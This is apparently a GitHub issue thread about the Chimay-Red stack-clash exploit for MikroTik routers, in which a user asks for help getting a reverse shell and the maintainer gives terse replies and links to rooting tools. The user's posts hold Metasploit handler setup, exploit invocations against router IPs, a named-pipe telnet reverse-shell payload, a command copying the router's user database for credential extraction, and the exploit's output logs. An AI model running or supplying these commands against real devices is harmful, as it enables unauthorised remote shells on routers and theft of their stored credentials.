shellcommand

[halekan]

what shellcommand how build it by KALI LINUX to make it works fine
/StackClash_mips.py 192.168.1.233 80 binary 192.168.1.89 6785 "nova/bin/info '/system reboot'"
Usage: ./StackClash_mips.py IP PORT binary shellcommand

How to get a reverse shell?

1. First, prepare metasploit multi handler on your computer

use exploit/multi/handler
set payload linux/mipsbe/meterpreter/reverse_tcp
set LHOST YOUR IP
set LPORT YOUR LPORT
run

where payload to send it to mikrotik and how build it msfvenom we have only binary ???????

can explain

[BigNerd95]

What is this?
/StackClash_mips.py 192.168.1.233 80 binary 192.168.1.89 6785 "nova/bin/info '/system reboot'"

Pseudo random command?

Please read the readme.md before opening issues
https://github.com/BigNerd95/Chimay-Red/blob/master/README.md#reverse-shell

[halekan]

good

Read it full
tes on RB750GL / MIPSBE / v6.37.1

$ nc -l -p 1234

root@test:~/Chimay# ./StackClash_mips.py 192.168.230.113 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.233.190 1234 < /ram/f | /bin/bash > /ram/f 2>&1"

Crash...
Connected
Sent
Sent
Opening 2 sockets
Connected
Connected
Stack clash...
Sent
Sent
Sent
Sending payload
Sent
Starting exploit
Done!

root@test:~/Chimay# ./StackClash_mips.py 192.168.233.190 80 www_binary "cp /rw/store/user.dat /ram/winbox.idx"

Crash...
Connected
Sent
Sent
Opening 2 sockets
Connected
Connected
Stack clash...
Sent
Sent
Sent
Sending payload
Sent
Starting exploit
Done!

Extract users not thing happen

root@test:~/Chimay# curl -s http://192.168.233.190/winbox/index | ./tools/extract_user.py -

root@test:~/Chimay# ............................. it is blank no result no user no password .......................................

[BigNerd95]

Does reverse shell work?
When you run "extract user" do you close reverse shell before running the exploit?

[halekan]

$ nc -l -p 1234
no

[BigNerd95]

So you have to root your board and debug it
Sorry but I cant test all versions for anyone
If you are able to fix it then send a PR

[halekan]

how root it Give Me Steps one by one

[BigNerd95]

Also a coffee?

Some links

https://github.com/0ki/mikrotik-tools/tree/master/exploit-backup

https://www.dropbox.com/s/3fey2nmmu993xz1/Rooting%20Mikro%20Tik%20routers.pdf?dl=0

Then read my pdf to install gdb-server

[BigNerd95]

Nope